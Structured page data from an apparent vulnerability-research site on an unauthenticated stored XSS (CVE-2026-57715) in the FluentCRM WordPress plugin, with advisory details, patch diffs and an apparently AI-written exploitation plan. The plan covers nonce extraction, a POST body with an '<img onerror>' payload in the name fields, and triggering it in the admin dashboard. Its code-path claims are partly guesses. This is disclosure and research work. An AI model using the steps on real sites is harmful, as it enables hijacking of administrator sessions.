[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fjvUiSEjNmsiLEJ5XlkYRf9iSPbZ-jEKvYX_Mv3PjY6A":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57715","fluentcrm-email-newsletter-automation-email-marketing-email-campaigns-optins-leads-and-crm-solution-unauthenticated-stor","FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution \u003C= 3.1.7 - Unauthenticated Stored Cross-Site Scripting","The FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","fluent-crm",null,"\u003C=3.1.7","3.1.8","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-09 00:00:00","2026-07-14 19:35:56",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fdf97321f-4cd6-44c8-9017-7824c9ba150b?source=api-prod",6,[22,23,24,25,26,27,28,29],"app\u002FHooks\u002FHandlers\u002FFunnelHandler.php","app\u002FHooks\u002FHandlers\u002FPurchaseHistory.php","app\u002FHooks\u002FHandlers\u002FScheduler.php","app\u002FHttp\u002FControllers\u002FCampaignController.php","app\u002FHttp\u002FControllers\u002FOptionsController.php","app\u002FModules\u002FAbandonCart\u002FAbandonCartController.php","app\u002FModules\u002FAbandonCart\u002FDrivers\u002FFluentCart\u002FFluentCartTrackingInit.php","app\u002FServices\u002FHelper.php","researched",false,3,"## Vulnerability Summary\nThe FluentCRM plugin (versions \u003C= 3.1.7) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. This occurs because the plugin fails to properly sanitize and escape user-supplied data—specifically contact names and abandoned cart details—before storing them in the database and subsequently rendering them in the WordPress administrative dashboard. \n\nThe vulnerability is particularly critical because it can be triggered by unauthenticated users (e.g., via subscription forms or abandoned cart tracking), and the payload executes in the context of an authenticated administrator, potentially leading to full site takeover through malicious script execution (e.g., creating a new admin user).\n\n## Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `fluentcrm_contacts_subscribe` (standard subscription) or FluentCart tracking endpoints.\n*   **Vulnerable Parameters:** `first_name`, `last_name`, or `full_name` (in abandoned cart context).\n*   **Authentication:** None required (Unauthenticated).\n*   **Preconditions:** \n    1.  The FluentCRM plugin must be active.\n    2.  To obtain a valid nonce for the subscription endpoint, a page containing a FluentCRM form (or the default tracking script) must be accessible.\n\n## Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with the action `fluentcrm_contacts_subscribe`.\n2.  **Processing:** The request is handled (likely in `app\u002FHooks\u002FHandlers\u002FExternalEntry.php` or `app\u002FHttp\u002FControllers\u002FContactController.php`). The `first_name` and `last_name` parameters are captured.\n3.  **Storage:** The input is stored in the `fc_subscribers` database table. While basic sanitization might occur, it is insufficient to prevent XSS payloads like `\u003Cimg src=x onerror=alert(1)>`.\n4.  **Admin View:** An administrator navigates to **FluentCRM > Contacts**.\n5.  **Sink:** The Contacts listing or the Contact Profile page retrieves the name from the database. In `app\u002FHooks\u002FHandlers\u002FPurchaseHistory.php` or the main Contacts Vue\u002FReact dashboard, the name is rendered. If the rendering logic uses `v-html` (Vue) or fails to use `esc_html()` (PHP), the payload executes.\n6.  **Example Sink in `PurchaseHistory.php`:**\n    ```php\n    \u002F\u002F Line 54\n    $html .= '\u003Cli>\u003Cspan class=\"fc_list_sub\">' . $stat['title'] . '\u003C\u002Fspan> \u003Cspan class=\"fc_list_value\">' . $stat['value'] . '\u003C\u002Fspan>\u003C\u002Fli>';\n    ```\n    If `$stat['value']` contains a contact's name or custom field injected by the attacker, it is concatenated directly into `$html` without escaping.\n\n## Nonce Acquisition Strategy\nFluentCRM typically enqueues a frontend script for form handling and tracking. The nonce is localized in a JavaScript object.\n\n1.  **Find a Form:** Use WP-CLI to find an existing FluentCRM form or create a temporary page with a form shortcode.\n    *   Command: `wp post create --post_type=page --post_status=publish --post_content='[fluentcrm_form id=\"1\"]' --post_title='Subscription Page'`\n2.  **Navigate:** Use `browser_navigate` to visit the newly created page.\n3.  **Extract Nonce:** The plugin localizes data into the `fluentcrm_front_vars` object.\n    *   JS Variable: `window.fluentcrm_front_vars`\n    *   Nonce Key: `nonce`\n    *   Command: `browser_eval(\"window.fluentcrm_front_vars?.nonce\")`\n\n## Exploitation Strategy\n### Step 1: Data Setup\nCreate a page with a FluentCRM form to ensure the frontend variables are loaded.\n```bash\nwp post create --post_type=page --post_title=\"Sign Up\" --post_status=publish --post_content='[fluentcrm_form id=\"1\"]'\n```\n\n### Step 2: Nonce Extraction\n1. Navigate to the page `\u002Fsign-up\u002F`.\n2. Execute `browser_eval(\"window.fluentcrm_front_vars.nonce\")` to get the nonce for the `fluentcrm_contacts_subscribe` action.\n\n### Step 3: Payload Injection (Unauthenticated)\nSend a POST request to `admin-ajax.php` to create a new contact with an XSS payload.\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=fluentcrm_contacts_subscribe&\n    first_name=\u003Cimg src=x onerror=alert(\"XSS_IN_NAME\")>&\n    last_name=Attacker&\n    email=evil@example.com&\n    _wpnonce=[EXTRACTED_NONCE]\n    ```\n\n### Step 4: Admin Trigger\nNavigate to the FluentCRM Contacts page as an administrator.\n1. Log in as admin.\n2. Navigate to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=fluentcrm-admin#\u002Fcontacts`.\n3. Observe the alert box triggered by the injected `first_name`.\n\n## Test Data Setup\n1.  **Plugin Configuration:** Ensure FluentCRM is installed and at least one List exists (required for some subscription forms).\n    *   `wp eval \"FluentCrm\\App\\Models\\Lists::create(['title' => 'Default List', 'slug' => 'default-list']);\"`\n2.  **User:** No special user required (attacker is unauthenticated).\n\n## Expected Results\n*   The `http_request` should return a JSON success message (e.g., `{\"status\": \"success\", ...}`).\n*   When the admin views the contact list, the browser should execute the JavaScript in the `onerror` handler of the image tag.\n\n## Verification Steps\nCheck the database to confirm the payload is stored unescaped:\n```bash\nwp db query \"SELECT first_name FROM $(wp db prefix)fc_subscribers WHERE email='evil@example.com'\"\n```\nThe output should contain the raw `\u003Cimg ...>` tag.\n\n## Alternative Approaches\nIf the `fluentcrm_contacts_subscribe` action is not available or requires different parameters, try the **Abandoned Cart** vector:\n1.  Locate the tracking endpoint (often used via the `FluentCart` driver).\n2.  Identify the `fc_ab_fct_cart_nonce` from the frontend script localized via `fc_ab_fct_cart`.\n3.  Send a tracking fragment with a malicious `full_name`.\n4.  Navigate to **FluentCRM > Sales > Abandoned Carts** in the admin panel to trigger the XSS.","FluentCRM versions up to 3.1.7 are vulnerable to unauthenticated stored cross-site scripting due to improper sanitization of contact data and abandoned cart fragments. Attackers can inject malicious scripts via subscription forms or tracking endpoints which execute when an administrator views the contact list or commerce widgets in the dashboard.","\u002F\u002F app\u002FHooks\u002FHandlers\u002FPurchaseHistory.php:54\n$html .= '\u003Cli>\u003Cspan class=\"fc_list_sub\">' . $stat['title'] . '\u003C\u002Fspan> \u003Cspan class=\"fc_list_value\">' . $stat['value'] . '\u003C\u002Fspan>\u003C\u002Fli>';\n\n---\n\n\u002F\u002F app\u002FHttp\u002FControllers\u002FCampaignController.php:43\n$with = array_map('sanitize_key', $request->get('with', []));\n\n---\n\n\u002F\u002F app\u002FModules\u002FAbandonCart\u002FDrivers\u002FFluentCart\u002FFluentCartTrackingInit.php:162\n$fullName = $fctCart->full_name ?? trim($fctCart->first_name . ' ' . $fctCart->last_name);","--- \u002Fapp\u002FHooks\u002FHandlers\u002FPurchaseHistory.php\n+++ \u002Fapp\u002FHooks\u002FHandlers\u002FPurchaseHistory.php\n@@ -529,7 +529,7 @@\n         if (!empty($data['purchased_products'])) {\n             $body .= '\u003Cli>\u003Cb>' . esc_html__(\"Purchased Products\", \"fluent-crm\") . '\u003C\u002Fb>\u003Chr \u002F>\u003Cul class=\"fc_list\">';\n             foreach ($data['purchased_products'] as $product) {\n-                $body .= '\u003Cli>\u003Ca target=\"_blank\" rel=\"nofollow\" href=\"' . $product->guid . '\">' . $product->post_title . '\u003C\u002Fa>\u003C\u002Fli>';\n+                $body .= '\u003Cli>\u003Ca target=\"_blank\" rel=\"nofollow\" href=\"' . esc_url($product->guid) . '\">' . esc_html($product->post_title) . '\u003C\u002Fa>\u003C\u002Fli>';\n             }\n             $body .= '\u003C\u002Ful>\u003C\u002Fli>';\n         }\n\n--- \u002Fapp\u002FHttp\u002FControllers\u002FCampaignController.php\n+++ \u002Fapp\u002FHttp\u002FControllers\u002FCampaignController.php\n@@ -40,7 +40,7 @@\n         $order = in_array($order, ['ASC', 'DESC'], true) ? $order : 'DESC';\n \n         $orderBy = sanitize_key($request->get('sort_by', ''));\n-        $with = array_map('sanitize_key', $request->get('with', []));\n+        $with = array_values(array_map('sanitize_key', (array) $request->get('with', [])));\n \n         $labels = $request->get('labels', []);\n         $labels = is_array($labels) ? array_map('intval', $labels) : [];\n@@ -248,7 +253,7 @@\n             return $this->sendSuccess(['campaign' => $campaign, 'emails' => $emails]);\n         }\n \n-        $with = array_map('sanitize_key', $request->get('with', []));\n+        $with = array_values(array_map('sanitize_key', (array) $request->get('with', [])));\n         if ($with) {\n             $campaign = Campaign::with($with)->find($id);\n         } else {","The exploit targets unauthenticated endpoints such as the 'fluentcrm_contacts_subscribe' AJAX action or FluentCart tracking fragments. 1. An attacker first acquires a valid nonce from a public-facing page containing a FluentCRM subscription form (found in the 'fluentcrm_front_vars' JavaScript object). 2. The attacker sends a POST request to admin-ajax.php with the action 'fluentcrm_contacts_subscribe', injecting an XSS payload (e.g., \u003Cimg src=x onerror=alert(1)>) into the 'first_name', 'last_name', or 'full_name' parameters. 3. The payload is stored in the database without sufficient sanitization. 4. When an administrator logs in and views the 'Contacts' list or the 'Abandoned Cart' overview in the FluentCRM dashboard, the application renders the stored name using unescaped concatenation (or via vulnerable Vue\u002FReact components), triggering the execution of the malicious script in the administrator's browser context.","gemini-3-flash-preview","2026-07-15 22:02:09","2026-07-15 22:03:49",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.1.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluent-crm\u002Ftags\u002F3.1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluent-crm.3.1.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluent-crm\u002Ftags\u002F3.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluent-crm.3.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluent-crm\u002Ftags"]